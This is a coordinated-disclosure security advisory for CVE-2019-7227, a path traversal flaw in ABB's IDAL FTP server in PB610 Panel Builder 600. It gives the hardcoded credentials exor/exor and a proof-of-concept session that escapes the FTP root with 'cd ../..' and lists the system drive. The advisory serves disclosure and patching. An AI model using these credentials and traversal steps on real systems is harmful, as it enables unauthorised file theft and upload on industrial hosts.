ABB IDAL FTP Server Path Traversal

`XL-19-008 - ABB IDAL FTP Server Path Traversal Vulnerability  
========================================================================  
  
Identifiers  
-----------  
XL-19-008  
CVE-2019-7227  
ABBVU-IAMF-1902006  
  
  
CVSS Score  
----------  
7.3 (AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)  
  
  
Affected vendor  
---------------  
ABB (new.abb.com)  
  
  
Credit  
------  
Eldar Marcussen - xen1thLabs - Software Labs  
  
  
Vulnerability summary  
---------------------  
The IDAL FTP server fails to ensure that directory change requests do not change to locations outside of the FTP servers root directory. An authenticated attacker can simply traverse outside the server root directory by changing the directory with "cd ..".  
  
  
Technical details  
-----------------  
An authenticated attacker can traverse to arbitrary directories on the hard disk and then use the FTP server functionality to download and upload files. An unauthenticated attacker can take advantage of the hardcoded or default credential pair exor/exor to become an authenticated attacker.  
  
Proof of concept  
----------------  
```  
ftp> open localhost 22  
Connected to WIN-542AQUCL4LD.  
220 Welcome to IDAL FTP server. READY.  
User (WIN-542AQUCL4LD:(none)): exor  
331 User name ok, need password.  
Password:  
230 User successfully logged in.  
550 CWD command failed. Directory not found.  
ftp> cd ../../../../../../../../../../../../../../../  
250 CWD command successful.  
ftp> dir  
200 PORT command successful.ac  
150 Opening ASCII mode data connection for LIST.  
drwxrwxrwx 1 0 0 0 Dec 11 05:45 $Recycle.Bin  
-rwxrwxrwx 1 0 0 24 Jun 10 2009 autoexec.bat  
drwxrwxrwx 1 0 0 0 Dec 11 16:41 Boot  
-r--r--r-- 1 0 0 383562 Jul 14 2009 bootmgr  
-r--r--r-- 1 0 0 8192 Dec 11 16:41 BOOTSECT.BAK  
-rw-rw-rw- 1 0 0 10 Jun 10 2009 config.sys  
drwxrwxrwx 1 0 0 0 Jul 14 2009 Documents and Settings  
-rw-rw-rw- 1 0 0 -1074274304 Dec 11 12:36 pagefile.sys  
drwxrwxrwx 1 0 0 0 Jul 14 2009 PerfLogs  
dr-xr-xr-x 1 0 0 0 Dec 11 11:42 Program Files  
drwxrwxrwx 1 0 0 0 Dec 11 12:36 ProgramData  
drwxrwxrwx 1 0 0 0 Dec 11 05:44 Recovery  
-rw-rw-rw- 1 0 0 213 Dec 11 07:23 setup.log  
drwxrwxrwx 1 0 0 0 Dec 11 12:26 System Volume Information  
dr-xr-xr-x 1 0 0 0 Dec 11 05:44 Users  
drwxrwxrwx 1 0 0 0 Dec 11 07:20 Windows  
226 Transfer complete.  
ftp: 1009 bytes received in 0.01Seconds 100.90Kbytes/sec.  
ftp>  
```  
  
Affected systems  
----------------  
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367  
  
Solution  
--------  
Apply the patches and instructions from vendor:  
- ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch  
  
  
Disclosure timeline  
-------------------  
04/02/2019 - Contacted ABB requesting disclosure coordination  
05/02/2019 - Provided vulnerability details  
05/06/2019 - Patch available  
17/06/2019 - xen1thLabs public disclosure  
  
  
`